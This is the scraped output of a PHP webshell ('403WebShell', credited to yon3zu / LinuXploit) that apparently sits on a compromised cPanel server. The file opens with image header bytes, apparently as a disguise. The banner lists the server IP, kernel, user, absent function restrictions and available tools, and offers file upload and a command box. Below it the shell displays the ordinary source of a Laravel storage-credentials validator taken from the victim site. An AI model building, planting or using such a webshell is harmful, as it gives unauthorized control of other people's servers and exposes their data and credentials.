����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.22.242.214
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/common/Settings/Validators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/common/Settings/Validators/StorageCredentialsValidator.php
<?php

namespace Common\Settings\Validators;

use Aws\S3\Exception\S3Exception;
use Common\Files\Providers\BackblazeServiceProvider;
use Common\Files\Providers\DigitalOceanServiceProvider;
use Common\Files\Providers\DropboxServiceProvider;
use Config;
use Exception;
use Spatie\FlysystemDropbox\DropboxAdapter;
use Storage;

class StorageCredentialsValidator
{
    const KEYS = [
        'uploads_disk_driver', 'public_disk_driver',

        // dropbox
        'storage_dropbox_access_token', 'storage_dropbox_root',

        // s3
        'storage_s3_key', 'storage_s3_secret',
        'storage_s3_region', 'storage_s3_bucket',

        // ftp
        'storage_ftp_host', 'storage_ftp_username', 'storage_ftp_password',
        'storage_ftp_root', 'storage_ftp_port', 'storage_ftp_passive', 'storage_ftp_ssl',

        // digital ocean
        'storage_digitalocean_key', 'storage_digitalocean_secret',
        'storage_digitalocean_region', 'storage_digitalocean_bucket',

        // rackspace
        'storage_rackspace_username', 'storage_rackspace_key',
        'storage_rackspace_region', 'storage_rackspace_container',

        // backblaze
        'storage_backblaze_key_id', 'storage_backblaze_application_key', 'storage_backblaze_bucket', 'storage_backblaze_region'
    ];

    public function fails($settings)
    {
        $this->setConfigDynamically($settings);
        $this->registerAdapters();

        $messages = array_merge(
            is_null(config('common.site.uploads_disk_driver')) ? [] : $this->validateDisk('uploads'),
            $this->validateDisk('public')
        );

        return empty($messages) ? false : $messages;
    }

    /**
     * @param string $diskName
     * @return array
     */
    private function validateDisk($diskName)
    {
        $driverName = Config::get("common.site.{$diskName}_disk_driver");

        try {
            $disk = Storage::disk($diskName);
            if ($disk->getAdapter() instanceof DropboxAdapter) {
                // dropbox adapter catches all errors silently
                // need to use client directly to check for errors
                $disk->getAdapter()->getClient()->listFolder();
            } else {
                $disk->listContents();
            }
        } catch (Exception $e) {
            if ($driverName === 's3') {
                return $this->getS3Message($e);
            } else {
                $message = $e->getMessage();
                if (\Str::contains($message, 'ftp_chdir(): Failed to change directory')) {
                    $message = 'Could not open "uploads" directory. You might need to create it manually via any FTP manager.';
                }
                return ['storage_group' => "Invalid $driverName credentials.<br>{$message}"];
            }
        }

        return [];
    }

    private function getS3Message(S3Exception $e) {
        return ['storage_group' => "Could not validate credentials. <br> {$e->getAwsErrorMessage()}"];
    }

    private function setConfigDynamically($settings)
    {
        $replacements = ['s3', 'dropbox', 'ftp', 'digitalocean', 'rackspace', 'backblaze'];

        foreach ($settings as $key => $value) {
            if ($key === 'uploads_disk_driver') {
                Config::set('common.site.uploads_disk_driver', $value ?: null);
            } else if ($key === 'public_disk_driver') {
                Config::set('common.site.public_disk_driver', $value ?: null);
            } else {
                // uploads_s3_key => services.s3.key
                $key = str_replace('storage_', '', $key);
                $key = preg_replace('/_/', '.', $key, 1);
                $key = "services.$key";
                foreach ($replacements as $replacement) {
                    $key = str_replace("{$replacement}_", "{$replacement}.", $key);
                }
                Config::set($key, $value ?: null);
            }
        }
    }

    private function registerAdapters()
    {
        app()->register(DigitalOceanServiceProvider::class);
        app()->register(DropboxServiceProvider::class);
        app()->register(BackblazeServiceProvider::class);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit